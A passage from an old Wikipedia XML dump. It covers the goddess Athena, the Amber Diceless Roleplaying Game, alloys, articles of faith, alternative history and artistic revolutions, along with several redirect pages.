'''Athena''', ([[Greek language|Greek]] {{polytonic|Ἀθηνᾶ}} Athēnâ  or {{polytonic|Ἀθήνη}} Athénē; [[Doric Greek|Doric]]: {{polytonic|Ἀσάνα}} Asána), the [[Greece|Greek]] [[goddess]] of [[wisdom]], [[strategy]], [[crafts]] and [[war]] associated by the [[Etruria|Etruscan]]s with their [[Etruscan mythology|goddess]] [[Menrva]] and later by the Romans as [[Minerva]], is attended by an [[Little Owl|owl]], wore a goatskin breastplate called the [[Aegis]] given to her by her father and is accompanied by the goddess of victory, [[Nike (mythology)|Nike]]. Athena is also a goddess associated with mentoring heroes. Athena is an armed warrior goddess, never a child, always a [[virgin]] (''parthenos''); she is said to have found the advances of men to be childish.  The [[Parthenon]] at Athens, Greece is her most famous shrine.  She never had a consort or lover, although once [[Hephaestus]] tried and failed.[[Herodotus]] and [[Plato]] incorrectly identified '''Athena''' with the [[Libyan (Ancient people)|Libyan]] (modern [[Berber]]s) goddess [[Neith]]. According to [[Plato]], Athena was derived from ''A-θεο-νόα'' (A-theo-noa) or ''H-θεο-νόα'' (E-theo-noa) meaning the mind of God ([[Cratylus|Crat.407b]]).  


==History==
[[Image:Athena head.jpg|thumb|left|200px|Athena from the east pediment of the Afea temple in [[Aegina]]]]

Athena was probably a goddess in the Aegean in the prehistoric times, although her name is not attested in [[Eteocretan]]. She has been compared to [[Anatolian]] mother goddesses like [[Cybele]], her name possibly of [[Lydian]] origin (G. Neumann, ''Kadmos'' 6, 1967), and her byname ''Pallas'' has been compared to Hittite ''palahh'', a divine raiment [http://www.dainst.org/index_79_en.html]. In [[Mycenaean Greek]], ''A-ta-na-po-ti-ni-ja'' ''/Athana potniya/'' (Mistress Athena) is referred to in the [[Knossos]] [[Linear B]] text V 2. and  ''A-ta-no-dju-wa-ja'' ''/Athana diwya/'', the final part being the Linear B spelling of what we know from ancient Greek as ''Diwia'' (Mycenaean ''di-u-ja'' or ''di-wi-ja'') &quot;divine&quot; (see [[dyeus]]). There is evidence that in early times, Athena was an [[owl]] herself, or a [[bird goddess]] in general. In book 3 of the [[Odyssey]], she takes the form of a [[sea-eagle]]. Her tassled [[aegis]] may be the remnants of wings [http://www.fjkluth.com/athena.html].  Athena is associated with [[Athens]], a plural name because it was the place where she presided over her sisterhood, the Athenai, in earliest times. 

In the [[List of Greek mythological characters|Olympian pantheon]], Athena was remade as the favorite daughter of [[Zeus]], born from his forehead.  The story of her birth comes in several versions.  In the one most commonly cited, Zeus lay with [[Metis (mythology)|Metis]], the goddess of crafty thought, but immediately feared the consequences. It had been prophesied that Metis would bear children more powerful than Zeus himself.  In order to forestall these dire consequences, Zeus transformed Metis into a fly and swallowed her immediately after lying with her.  He was too late: Metis had already conceived a child.  Metis immediately began making a helmet and robe for her fetal daughter.  The hammering as she made the helmet caused Zeus great pain and [[Prometheus]], [[Hephaestus]], [[Hermes]] or [[Palaemon]] (depending on the sources examined) cleaved Zeus's head with the double-headed Minoan axe ([[labrys]]).  Athena leaped from Zeus's head, fully grown and armed, and Zeus was none the worse for the experience.

Athena was patron of the art of weaving and other crafts, wisdom and battle.  Unlike [[Ares]], who was hot-headed and undependable in battle, Athena's domain was strategy and tactics. Having taken the side of the Greeks in the war against [[Troy]], Athena assisted the wily [[Odysseus]] on his journey home.

=== Athena in art ===
[[Image: AttalusICorrected.jpg|thumb|200px|right|'''Athena''' was depicted on the obverse side of the [[Coin]] of [[Attalus I]],  depicting the head of Attalus' great uncle [[Philetaerus]].]]
Athena is classically portrayed wearing full armor, carrying a lance and a shield with the head of the [[gorgon]] [[Medusa (mythology)|Medusa]] mounted on it.  It is in this posture that she was depicted in [[Phidias]]'s famous gold and ivory statue of her, the [[Athena Parthenos]], now lost to history, in the [[Parthenon]] on the Athenian [[Acropolis, Athens|Acropolis]].  Athena is also often depicted with an [[owl]] (a symbol of wisdom) sitting on one of her shoulders.  The [[Mourning Athena]] is a relief sculpture that dates around 460 BC and portrays a tired, emotional Athena.

In earlier, archaic portraits of Athena in [[vase-painting]]s, the goddess retains some of her Minoan character, such as great birdwings.

=== Appellations ===
Homer's most common [[epithets in Homer|epithet]] for Athena, ''γλαυκώπις'' (glaukopis) is usually translated &quot;bright-eyed&quot; and is a combination of ''γλαύκος'' (glaukos) (which can be translated as &quot;gleaming,&quot; &quot;silvery,&quot; and later as &quot;bluish-green&quot; or &quot;gray&quot;) and ''ώψ'' (ôps - &quot;eye,&quot; or sometimes, &quot;face&quot;). It is interesting to note that ''γλαύξ'' (glaux - owl) is from the same root, presumably because of its own distinctive eyes. The bird which sees in the night is closely associated with the goddess of wisdom: in archaic images, she is frequently depicted with an owl perched on her head. In earlier times, Athena may well have been a [[bird goddess]], similar to [[Lilith|Lilitu]] and/or the goddess depicted with owls, wings and bird talons on the [[Burney relief]].

In her role as judge at [[Orestes (mythology)|Orestes]]' trial on the murder of his mother, [[Clytemnestra]] (which he won), Athena won the epithet &quot;Athena Areia.&quot; 

Athena was often associated with the local [[Aegina|Aeginian]] goddess, ''Αφαία'' ([[Aphaea]]).  She had the epithet &quot;Athena Ergane&quot; as the patron of craftsmen and artisans.  

She was often referred to with the epithet &quot;Παλλάς Αθηνά&quot; (Pallas Athena). [[Pallas]] was an ambiguous figure, sometimes male sometimes female, never imagined apart from Athena. She killed Pallas in a mistake, and ever after wore her/his goatskin fringed with [[chthonic]] serpents, as the protective [[aegis]].  With the epithet &quot;[[Athena Parthenos]]&quot; (&quot;virgin&quot;), Athena was worshipped at the [[Parthenon]].  With the epithet &quot;Athena Promachos&quot; she led in battle. With the epithet &quot;Athena Polias&quot; (&quot;of the city&quot;), Athena was the protectress of Athens and the Acropolis.

In the [[Homeric Hymns]] and in [[Hesiod]]'s ''[[Theogony]]'', she is described with the curious epithet &quot;Tritogeneia.&quot;  The exact meaning of this term is unclear. It seems to mean &quot;[[Triton (mythology)|Triton]]-born,&quot; perhaps indicating that the sea-god was her father according to some early myths, or that she was born near Lake Triton in [[Africa]]. Another possible meaning is &quot;triple-born&quot; or &quot;third-born,&quot; which may refer to her status as the third daughter of Zeus.

==Episodes==

=== Erichthonius ===
According to [[Apollodorus]], [[Hephaestus]] attempted to [[rape]] Athena but was unsuccessful.  His [[semen]] fell on the ground, and [[Erichthonius of Athens|Erichthonius]] was born from the earth. Athena then raised the baby as a foster mother. Alternatively, the semen landed on Athena's leg, and she wiped it off with a piece of wool which she tossed on the ground. Erichthonius arose from the ground and the wool. Another version says that Hephaestus wanted Athena to marry him but she disappeared on his bridal bed; he ejaculated onto the ground instead.  Athena gave three sisters, [[Herse]], [[Pandrosus]] and [[Aglaulus]] the baby in a small box and warned them to never open it. Aglaulus and Herse opened the box which contained the infant and future-king, Erichthonius. The sight caused Herse and Aglaulus to go insane and they threw themselves off the [[Acropolis, Athens|Acropolis]]. 

An alternative version of the same story is that while Athena was gone to bring a mountain to use in the Acropolis, the two willful sisters opened the box.  A crow witnessed the opening and flew away to tell Athena, who fell into a rage and dropped the mountain (now [[Mt. Lykabettos]]).  Once again, Herse and Aglaulus went insane and threw themselves to their deaths off a cliff.

Erichthonius later became [[King of Athens]] and implemented many beneficial changes to Athenian culture.  During this time, Athena frequently protected him.

=== Athens ===
Athena competed with [[Poseidon]] to be the patron deity of [[Athens, Greece|Athens]].  They agreed that each would give the Athenians one gift and the Athenians would choose whichever gift they preferred.  Poseidon struck the ground with his [[trident]] and a spring sprung up; the water was salty and not very useful, whereas Athena offered them the first domesticated [[olive tree]].  The Athenians (or their king, [[Cecrops]]) accepted the olive tree and along with it Athena as their patron, for the olive tree brought wood, oil and food.  This is thought to remember a clash between the inhabitants during [[Mycenae]]an times and newer immigrants.  It is interesting to note that Athens at its height was a significant sea power, defeating the [[Iran|Persia]]n fleet at the [[Battle of Salamis]] near [[Salamis Island]] in [[480 BC]]. Athena was also the patron goddess of several other cities, notably [[Sparta]].
In an alternate version, Poseidon invents the first horse.  Athena's gift is still chosen.

=== Arachne ===
A woman named Αράχνη ([[Arachne]]) once boasted that she was a superior weaver to Athena, the goddess of weaving.  Athena appeared to her disguised as an old woman and told Arachne to repent for her [[hubris]] but Arachne instead challenged Athena to a contest.  The old woman threw off her disguise and the contest began.  Athena wove a depiction of the conflict with Poseidon over Athens, while Arachne wove a depiction of Zeus' many romantic exploits.  Athena was furious at her skill (the contest was never decided) and her choice of subject. Enraged, she destroyed Arachne's work and struck the girl's head with the shuttle. As she could not bear to endure the pain, Arachne unsuccessfully tried to [[hanging|hang]] herself, but was transformed by Athena into the first [[spider]], which forever weaves its [[silk]] for food.

===Perseus and Medusa===
Athena guided [[Perseus (mythology)|Perseus]] in eliminating [[Medusa (mythology)|Medusa]], a dangerous unreformed relic of the old pre-Olympian order, and she was awarded the grisly trophy that turned men to stone, for her shield.

=== Heracles ===
Athena instructed [[Heracles]] how to remove the skin from the [[Nemean Lion]], by using the lion's own claws to cut through its thick hide.  The lion's hide became Heracles' signature garment, along with the olive-wood club he used in the battle. Athena also assisted Heracles on a few other labors.

She also helped Heracles defeat the [[Stymphalian Birds]], along with [[Hephaestus]].

=== [[Tiresias]] and [[Chariclo]] ===
Athena blinded [[Tiresias]] after he stumbled onto her bathing naked. His mother, [[Chariclo]], begged her to undo her curse, but Athena couldn't; she gave him prophecy instead.

== Miscellaneous ==
Athena (Minerva) is the subject of the $50 1915-S Panama-Pacific [[commemorative coin]]. At 2.5 troy oz (78 g) gold, this is the largest (by [[weight]]) coin ever produced by the [[United States Mint|U.S. Mint]]. This was the first $50 coin issued by the U.S. Mint and no higher was produced until the production of the $100 platinum coins in [[1997]]. Of course, in terms of face-value in adjusted dollars, the [[1915]] is the highest denomination ever issued by the U.S. Mint.

A [[Parthenon (Nashville)|full-scale replica of the Parthenon]] has stood in [[Nashville, Tennessee]], which is known as the Athens of the South, for over a century.  In [[1990]], a great [[Athena Parthenos|replica of Phidias' statue]] of the goddess was added, over 41 feet (12.5 m) tall and gilded.

Athena had a childhood friend named Pallas. During one of their outings, Athena accidentally shot Pallas with an arrow, fatally wounding her. Athena then decided to put Pallas's name before hers so that Pallas would always be remembered.

Athena is also featured prominently in various modern pop culture creations including a Japanese animation called [[Saint Seiya]].  Saint Seiya was originally created by Japanese manga artist [[Masami Kurumada]].

Athena had been given birth by Zeus &quot;the father of gods&quot; and Metis. Zeus had been told that any children he had by Metis would be very powerful and someday dethrone him.

==External links==
{{wikiquote}}
{{commons|Athena}}
*[http://fury.com/galleries/road_trip_2003/index-Pages/Image6.html Nashville's Athena statue]
*[http://www.nashville.gov/parthenon/index.htm The Nashville Parthenon]
*[http://www.anistor.co.hol.gr/english/enback/e023 Minoan Origins of Athena] by Virginia Hicks

{{Greek myth (Olympian)2}}

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[[Category:War goddesses]]
[[Category:Wisdom goddesses]]
[[Category:Characters in the Iliad]]

[[ar:آثينا]]
[[bg:Атина (митология)]]
[[bs:Atena]]
[[ca:Atena]]
[[cs:Athéna]]
[[da:Athene (gudinde)]]
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[[el:Αθηνά (μυθολογία)]]
[[es:Atenea]]
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[[id:Dewi Athena]]
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[[nl:Pallas Athene]]
[[ja:アテナ]]
[[no:Athene]]
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[[ro:Atena (zeiţă)]]
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[[zh:雅典娜]]</text>
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  </page>
  <page>
    <title>Amber Diceless Roleplaying Game</title>
    <id>1183</id>
    <revision>
      <id>40025276</id>
      <timestamp>2006-02-17T16:08:57Z</timestamp>
      <contributor>
        <username>Percy Snoodle</username>
        <id>163840</id>
      </contributor>
      <minor />
      <comment>return nbsps</comment>
      <text xml:space="preserve">{{infobox RPG
|title= Amber&amp;nbsp;Diceless&amp;nbsp;Roleplaying&amp;nbsp;Game
|image= [[Image:Amber_DRPG.jpg|200px]]
|caption= Cover of the main ''Amber DRPG'' rulebook
|designer= [[Erick Wujcik]]
|publisher= [[Phage Press]]&lt;br&gt;[[Guardians of Order]]
|date= 1991
|genre= [[Fantasy]]
|system= Custom (direct comparison of statistics without dice)
|footnotes= 
}}

The '''Amber Diceless Roleplaying Game''' is a [[role-playing game]] created and written by [[Erick Wujcik]], set in the [[fictional universe]] created by author [[Roger Zelazny]] for his [[Chronicles of Amber]].  The game is unusual in that no [[dice]] are used in resolving conflicts or player actions; instead a simple system of comparative ability, and narrative description of the action by the players and [[gamemaster|game referee]], is used to determine how situations are resolved.  

Amber DRPG was created in the [[1980s]], and is much more focused on relationships and roleplaying than most of the roleplaying games of that era.  Most Amber characters are members of the two ruling classes in the Amber [[multiverse]], and are much more advanced in matters of strength, endurance, psyche, warfare and sorcery than ordinary beings.  This means that the only individuals who are capable of opposing a character are from his or her family, a fact that leads to much suspicion and intrigue.

==History==
The original 256-page game book was published in 1991 by [[Phage Press]], covering material from the first five novels (the &quot;[[The Chronicles of Amber#The Corwin Cycle|Corwin Cycle]]&quot;) and some details - sorcery and the [[Logrus]] - from the remaining five novels (the &quot;[[The Chronicles of Amber#The Merlin Cycle|Merlin Cycle]]&quot;), in order to allow players to roleplay characters from the Courts of Chaos.  Some details were changed slightly to allow more player choice - for example, players can be full Trump Artists without having walked the Pattern or the Logrus, which [[Merlin (The Chronicles of Amber)|Merlin]] says is impossible; and players' [[psychic]] abilities are far greater than those shown in the books.

[[Image:Shadow Knight.jpg|thumb|200px|right|Cover of Shadow Knight]]
A  256-page companion volume, ''Shadow Knight'', was published in 1993.  book includes the remaining elements from the Merlin novels, such as Broken Patterns, and allows players to create Constructs such as Merlin's Ghostwheel.  The book presents the second series of novels not as additions to the series' [[Continuity (fiction)|continuity]] but as an example of a [[Campaign (role-playing games)|roleplaying campaign]] with Merlin, Luke, Julia, Jurt and Coral as the PCs.  The remainder of the book is a colection of essays on the game, statistics for the new characters and an update of the older ones in light of their appearance in the second series, and (perhaps most usefully for GMs) plot summaries of each of the ten books.  The book includes some material from the short story [[Amber Short Stories#The Salesman's Tale|The Salesman's Tale]], and some unpublished material from [[Prince of Chaos]], notably Coral's pregnancy by Merlin.

A third book, ''Rebma'', was promised and pre-orders were taken, but it never arrived, leading to accusations that it was [[vaporware]].  Wujcik also expressed a desire to create a book giving greater detail to the Courts of Chaos[http://www.sjgames.com/pyramid/sample.html?id=640].  However, the publishing rights to the Amber DRPG games were acquired in 2004 by [[Guardians of Order]], who took over sales of the game and announced their intention to release a new edition of the game, but since their restructuring no further news of the new edition has been forthcoming.  The two existing books have been made available as [[Portable Document Format|PDF]] downloads (see [[#External links|External links]]).

==Setting==
{{main|The Chronicles of Amber}}

The game is set in the [[multiverse]] described in Zelazny's Chronicles of Amber.  The first book assumes that gamemasters will set their campaigns after the patternfall war; that is, after the end of the fifth book in the series, [[The Courts of Chaos]], but uses material from the following books to describe those parts of Zelazny's cosmology that were featured there in more detail.  Briefly, the Amber multiverse consists of '''Amber''', a city at one pole of the universe wherein is found [[the Pattern]], the symbol of [[Order]]; The '''Courts of Chaos''', an assembly of worlds at the other pole where can be found [[the Logrus]], the manifestation of [[Chaos]], and the Abyss, the source of all reality; and '''Shadow''', the collection of all possible [[universe]]s (shadows) between and around them.  Inhabitants of either pole can use one or both of the Pattern and the Logrus to travel through Shadow.

It is assumed that players will portray the children of the main characters from the books - the ruling family of Amber, known as the Elder Amberites - or a resident of the Courts.  However, since some feel that being the children of the main characters is too limiting, it is fairly common to either start with King Oberon's death ''before'' the book begins and roleplay the Elder Amberites as they vie for the throne; or to populate Amber from scratch with a different set of Elder Amberites.  The former option is one presented in the book; the latter is known in the Amber community as an &quot;[[Amethyst]]&quot; game.  A third option is to have the players portray [[Corwin (The Chronicles of Amber)|Corwin]]'s children, in an amber-like city built around Corwin's pattern; this is sometimes called an &quot;Argent&quot; game, since one of Corwin's heraldic colours is [[Silver]].

==System==
===Attributes===
Characters in Amber DRPG are represented by four [[attribute (role-playing games)|attributes]]: ''Psyche'', ''Strength'', ''Endurance''  and ''Warfare''.
*'''Psyche''' is used for feats of willpower or magic.
*'''Strength''' is used for feats of strength or unarmed combat.
*'''Endurance''' is used for feats of endurance.
*'''Warfare''' is used for armed combat, from duelling to commanding armies
The attributes run from -25 (normal human level), through -10 (normal level for a denizen of the Courts of Chaos) and 0 (normal level for an inhabitant of Amber), upwards without limit.  Scores above 0 are &quot;ranked&quot;, with the highest score being ranked 1st, the next-highest 2nd, and so on.  The character with 1st rank in each attribute is considered &quot;superior&quot; in that attribute, being considered to be substantially better than the character with 2nd rank even if the difference in scores is small.

====The Attribute Auction====
A character's ability scores are purchased during [[character generation]] in an [[auction]]; players get 100 [[character point]]s, and bid on each attribute in turn.  Unlike conventional auctions, bids are non-refundable; if one player bids 65 for psyche and another wins with a bid of 66, then the character with 66 is &quot;superior&quot; to the character with 65 even though there is only one bid difference.  After the auction, players can secretly pay extra points to raise their ranks, but they can only pay to raise their scores to an existing rank.  Further, a character with a bid-for rank is considered to have a slight advantage over character with a bought-up rank.

====Psyche in Amber DRPG compared to the Chronicles====
Characters with high psyche are presented as having strong [[telepathic]] abilities, being able to [[hypnotise]] and even mind-[[rape]] any character with lesser psyche with whom they can make eye-contact.  This is likely due to two scenes in the Chronicles: first, when [[Corwin (The Chronicles of Amber)|Corwin]] faces the demon Strygwalldir, it is able to wrestle mentally with him when their gazes meet; and second, when Fiona is able to keep Brand immobile in the final battle at the Courts of Chaos.  However, in general, the books only feature mental battles when there is some reason for mind-to-mind contact (for example, Trump contact) and magic is involved in both the above conflicts, so it is not clear whether Zelazny intended his characters to have such a power when it would have almost certainly assured Brand of victory.

===Powers===
Characters in Amber DRPG have access to the powers seen in the Chronicles of Amber: '''Pattern''', '''Logrus''', '''Shape-shifting''', '''Trump Artistry''', and magic.  A character who has walked the pattern can walk in shadow to any possible universe, and while there can manipulate probability.  A character who has mastered the Logrus can send out Logrus tendrils and pull themself or objects through shadow.  Shape-shifters can alter their physical form, and Trump Artists can create Trumps, a sort of [[tarot]] card which allows mental communication and travel.  Three types of magic are detailed: '''Power Words''', with a quick, small effect; '''Sorcery''', with pre-prepared spells as in many other game systems; and '''Conjuration''', the creation of small objects.  Each of the first three powers is available in an advanced form.

===Artifacts, Personal shadows and Constructs===
While a character with Pattern, Logrus or Conjuration can acquire virtually any object, players can choose to spend character points to obtain objects with particular virtues - unbreakability, or a mind of their own.  Since they have paid points for the items, they are a part of the character, and cannot lightly be destroyed.  Similarly, a character can find any possible universe, but they can spend character points to know of or inhabit shadows which are (in some sense) &quot;real&quot; and therefore useful.  The expansion, ''Shadow knight'', adds Constructs - artifacts with connections to shadows.

===Stuff===
Unspent character points become '''good stuff''' - a good luck for the character.  Players are also allowed to overspend (in moderation), with the points becoming '''bad stuff''' - bad luck which the Gamemaster should inflict on the character.  As well as representing luck, stuff can be seen as representing a character's outlook on the universe: characters with good stuff seeing the multiverse as a cheerful place, while characters with bad stuff see it as hostile.

===Conflict resolution===
In any given fair conflict between two characters, the character with the higher score in the relevant attribute will eventually win.  The key word here is ''fair'' - if characters' ranks are close, and the weaker character has obtained some advantage, then the weaker character can prevail.  This concept has been developed further in [[John Wick]]'s ''Advantage system''.  Alternatively, if characters' attribute ranks are close, the weaker character can try to change the relevant attribute by changing the nature of the conflict.  For example, if two characters are wrestling the relevant attribute is Strength; a character could reveal a weapon, changing it to Warfare; they could try to overcome the other character's mind using a power, changing it to Psyche; or they could concentrate their strength on defense, changing it to Endurance.  This concept is similar to the concept of ''escalation'' in [[Dogs in the Vineyard]].  If there is a substantial difference between characters' ranks, the conflict is generally over before the weaker character can react.

===The Golden Rule===
Amber DRPG advises gamemasters to change rules as they see fit - even to the point of adding or removing powers or attributes.

==Trivia==
The book features Trump portrait of each of the elder Amberites.  The trump picture of Corwin is executed in a subtly different style - and has features very similar to Roger Zelazny's.

==References==
* Erick Wujcik ''Amber Diceless Roleplaying Game'' (Phage Press, 1991) ISBN 1880494000
* Erick Wujcik ''Shadow Knight'' (Phage Press, 1993) ISBN 1880494019
* Roger Zelazny ''The Great Book of Amber'' ([[Eos Press]], 1999) ISBN 0380809060

== External links ==
*[http://www.phagepress.com/ Phage Press]'s homepage for the game
*Guardians of Order's [http://www.guardiansorder.com/boards/forumdisplay.php?f=21 Amber DRPG forum] and [http://www.guardiansorder.com/store/amber.php store]
*[http://drivethrurpg.com/catalog/product_info.php?products_id=1447 Amber DRPG] and [http://drivethrurpg.com/catalog/product_info.php?products_id=1448 Shadow Knight] as PDF downloads
*[http://calwestray.tripod.com/amber.htm Westray], an Amber DRPG fansite
*[http://www.chorazin.org/gcircle/ The Golden Circle], and Amber [[webring]] with many Amber DRPG sites.

[[Category:The Chronicles of Amber]]
[[Category:Fantasy role-playing games]]
[[Category:Universal role-playing games]]

[[fr:Ambre (jeu de rôle)]]
[[it:Ambra (gioco)]]
[[pl:Amber (gra fabularna)]]</text>
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  <page>
    <title>Athene</title>
    <id>1184</id>
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        <username>AxelBoldt</username>
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      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Athena]]
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  <page>
    <title>AphexTwin</title>
    <id>1186</id>
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      <id>15899683</id>
      <timestamp>2002-06-12T02:07:16Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
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      <minor />
      <comment>removed old copy of article from below the redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Aphex Twin]]

</text>
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  <page>
    <title>Alloy</title>
    <id>1187</id>
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      <timestamp>2006-03-01T09:40:48Z</timestamp>
      <contributor>
        <ip>165.21.154.117</ip>
      </contributor>
      <text xml:space="preserve">'''Alloy''' is a combination, either in [[solution]] or [[chemical compound|compound]], of two or more [[chemical element|elements]], which has a combination of at least one [[metal]], and where the resultant material has [[metallic]] properties.  An alloy with two components is called a binary alloy; one with three is a ternary alloy; one with four is a quaternary alloy.  The result is a metallic substance with properties different from those of its components.


Alloys are usually designed to have properties that are more desirable than those of their components.  For instance, [[steel]] is stronger than [[iron]], one of its main elements, and [[brass]] is more durable than [[copper]], but more attractive than [[zinc]].

Unlike pure metals, many alloys do not have a single [[melting point]].  Instead, they have a melting range in which the material is a mixture of [[solid]] and [[liquid]] phases.  The temperature at which melting begins is called the [[solidus]], and that at which melting is complete is called the [[liquidus]].  Special alloys can be designed with a single melting point, however, and these are called [[eutectic]] mixtures.

Sometimes an alloy is just named for the base metal, as 14 [[Carat (purity)|karat]] (58%) [[gold]] is an alloy of gold with other elements. The same holds for [[silver]] used in [[jewellery]], and [[aluminium]] used structurally.

The term &quot;alloy&quot; is frequently used in everyday speech as an alternative to &quot;aluminium alloy.&quot;  Many engineers find this convention offensive, since all steels and most other metals in practical use are also alloys.  A typical example of such usage is &quot;alloy wheels&quot; fitted to an automobile.

==See also==



* [[List of alloys]]
* [[Intermetallics]]

{{Wiktionary}}
[[Category:Alloys|*]]

[[uk:Лігатура]]
[[af:Legering]]
[[bg:Сплав]]
[[ca:Aliatge]]
[[cs:Slitina]]
[[da:Legering]]
[[de:Legierung]]
[[es:Aleación]]
[[eo:Alojo]]
[[fr:Alliage]]
[[ko:합금]]
[[io:Aloyo]]
[[id:Aloy]]
[[is:Málmblanda]]
[[it:Lega (metallurgia)]]
[[he:סגסוגת]]
[[mk:Легура]]
[[ms:Aloi]]
[[nl:Legering]]
[[ja:合金]]
[[no:Legering]]
[[nn:Legering]]
[[pl:Stop metali]]
[[pt:Liga metálica]]
[[ru:Сплав]]
[[simple:Alloy]]
[[sl:Zlitina]]
[[sr:Легура]]
[[fi:Lejeerinki]]
[[sv:Legering]]
[[ta:கலப்புலோகம்]]
[[th:โลหะผสม]]
[[vi:Hợp kim]]
[[zh:合金]]</text>
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  </page>
  <page>
    <title>Articles of Faith</title>
    <id>1189</id>
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      <id>38406727</id>
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        <ip>65.34.202.199</ip>
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      <comment>Changed to six (vs. seven) articles by combining afterlife and Judgment in order to maintain consistency and clarity.</comment>
      <text xml:space="preserve">'''Articles of faith''' are formal [[creeds]], or lists of beliefs, sometimes numbered, and often beginning with &quot;We believe...&quot;, which attempt to more or less define the fundamental [[theology]] of a given [[religion]] and/or [[church]]. Articles of faith are common in both [[Christianity]] and [[Islam]].

== Catholicism ==
The [[Nicene Creed]] and the shorter [[Apostles' Creed]] are articles, or professions of Faith said by members of the [[Roman Catholic Church]].  The Nicene is predominantly recited during the Catholic [[Mass (liturgy)|mass]] while the Apostle's is typically used for other occasions.

== Mormonism ==
{{main|Articles of Faith (Mormonism)}}
The ''Articles of Faith'' of [[Mormonism]] are a [[creed]] composed by [[Joseph Smith, Jr.]] as part of a [[1842]] [[The_Wentworth_Letter|letter]] sent to [[John Wentworth (mayor)|&quot;Long&quot; John Wentworth]], editor of the ''[[Chicago Democrat]]''. It is a concise listing of thirteen fundamental doctrines of [[Mormonism]].

Most [[Latter Day Saint]] denominations view the articles as an authoritative statement of basic theology. Some denominations, such as [[The Church of Jesus Christ of Latter-day Saints]], have adopted the articles as scripture (see ''[[Pearl of Great Price (Mormonism)]]'').

== Protestantism ==
In [[Protestantism]], several denominations have articles of faith. The [[Anglican]] articles of faith are the [[Thirty-Nine Articles]], which were issued by the Convocation of clergy of the [[Church of England]] in [[1571]]. These articles were adapted by [[John Wesley]] as the [[Articles of Religion (Methodist)|Articles of Religion]], which are the defining articles of [[Methodism]].

== Islam ==
Traditionally, there are six basic beliefs of Muslims, of which include a belief in:
# Oneness of God
# Angels
# Prophets
# Scriptures
# [[Last Judgment|The Day of Judgment]] and the [[Akhirah]] or afterlife
# [[Predestination]]

In Sahih [[Al-Muslim]] and [[Al-Bukhari]], [[Muhammad]] explains, &quot;It (Al-Iman/faith) is to affirm your faith in Allah, [[Angels in Islam|His angels]], His Books [[Prophets of Islam|His Messengers]] and the Last Day, and to believe in the Divine Destiny whether it be good or bad.&quot;

Retrieved from [[Aqidah]]

[[Category:Christianity]]
[[Category:Christian texts]]
[[Category:Latter Day Saint texts]]</text>
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  <page>
    <title>Alternative history</title>
    <id>1190</id>
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      <minor />
      <comment>warnfile  Modifying: es</comment>
      <text xml:space="preserve">:''For the [[speculative fiction]] subgenre, see [[alternate history (fiction)]]

'''Alternative history''' or '''alternate history''' develops out of historiography to identify historical points of view that have been ignored, overlooked, or unseeable.  It usually denotes a [[history]] told from an alternative viewpoint, rather than from the view (actual or ascribed, obvious or inferred) of imperialists, conquerors or explorers.  For example ''[[A People's History of the United States]]'' offers a view sympathetic to people [[Native Americans (Americas)|indigenous to the Americas]], while the term ''[[Herstory]]'' was coined to denote history presented from a feminist perspective.

This falls into two major categories: 
* [[Historical revisionism]] is the reexamination of the accepted facts and interpretations of history, with an eye towards updating it with newly discovered, more accurate, less biased or differently biased information.
* When revisionism takes on a partisan tone, it is usually called [[Historical revisionism (political)|political historical revisionism]] i.e. a construction of past events which is refuted by well documented, verifiable, and very broadly accepted sources. Such histories may tend to blame their lack of scholarship or documentation on a [[conspiracy theory|conspiracy]] to erase such evidence.

Other alternative histories include:
* The genre of speculative fiction includes the subgenre of [[Alternate history (fiction)|fictitious alternative history]], set in worlds in which history has diverged from history as it actually happened. The term [[uchronia]] refers to a hypothetical time period in such a divergent world.
* [[Failed history]] covers events that have been predicted and had items created in the expectation that they would occur, but then in fact did not occur. 
* [[Virtual history]] (also known as ''counterfactual history'') is a form of history which attempts to answer &quot;what if&quot; questions. It is an academic extrapolation of alternate outcomes of historical events. 

{{hist-stub}}
[[Category:Alternate history|*]]

[[de:Alternativgeschichte]]
[[es:Historia alterna]]</text>
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    <title>API</title>
    <id>1191</id>
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      <id>34100212</id>
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      <contributor>
        <username>Oliver Lineham</username>
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      <comment>Redirect to most common usage</comment>
      <text xml:space="preserve">#REDIRECT [[Application_programming_interface]]</text>
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  </page>
  <page>
    <title>Artistic revolution</title>
    <id>1192</id>
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      <id>34326659</id>
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        <username>Sparkit</username>
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      <minor />
      <comment>[[:en:Wikipedia:Tools/Navigation_popups|Popups]]-assisted disambiguation from [[Renoir]] to [[Pierre-Auguste Renoir]]</comment>
      <text xml:space="preserve">Throughout history, forms of [[art]] have gone through periodic abrupt changes called '''artistic revolutions'''.  Movements have come to an end to be replaced by a new movement markedly different in striking ways.  See also [[cultural movement]]s. 

== Artistic revolution and cultural/political revolutions ==

The role of fine art has been to simultaneously express values of the current culture while also offering criticism, balance, or alternatives to any such values that are proving no longer useful. So as times change, art changes. If changes were abrupt they were deemed revolutions. The best artists have predated society's changes due not to any prescenience, but because sensitive perceptivity is part of their 'talent' of seeing.  

Artists have had to 'see' issues clearly in order to satisfy their current clients, yet not offend potential patrons. For example, paintings glorified aristocracy in the early 1600's when leadership was needed to nationalize small political groupings, but later as leadership became oppressive, satirization increased and subjects were less concerned with leaders and more with more common plights of mankind.

Examples of revoutionary art in conjunction with cultural/political movements:

*[[Trotskyist]] &amp; [[Diego Riveria]]
*[[Black Panther Party]] &amp; Emory Douglas
*Cuban [[Poster Art]]
*[[Social Realism]] &amp; [[Ben Shahn]]
*[[Feminist]] Art &amp; the [[Guerrilla Girls]]
*[[Industrial Workers of the World]] &amp; [[Woody Guthrie]]

== Artistic revolution of style ==

But not all artistic revolutions were political. Revolutions of style have also abruptly changed the art of a culture. For example, when the careful, even tedious, art techniques of French neo-classicism became oppressive to artists living in more exuberant times, a stylistic revolution known as &quot;[[Impressionism]]&quot; vitalized brush strokes and color. [[Degas]], [[Monet]], [[Pierre-Auguste Renoir|Renoir]] burst onto the French culture, effecting a revolution with a style that has become commonplace today.

An artistic revolution can be begun by a single artist, but unless that artist gains some understanding, he becomes an iconoclast. The first [[Abstract Expressionists]] were considered madmen to give up their brushes and rely on the sheer force of energy to leave an image, but then the import of atomic bombs, all atomic energy, became realized, and art found no better way of expressing its power.  [[Jackson Pollack]] is the artist best known for starting that revolution.

{{art-stub}}

[[Category:Art history]]</text>
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  <page>
    <title>Agrarianism</title>
    <id>1193</id>
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        <username>RafaelG</username>
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      <text xml:space="preserve">'''Agrarianism''' is a [[social philosophy|social ]] and [[political philosophy]].

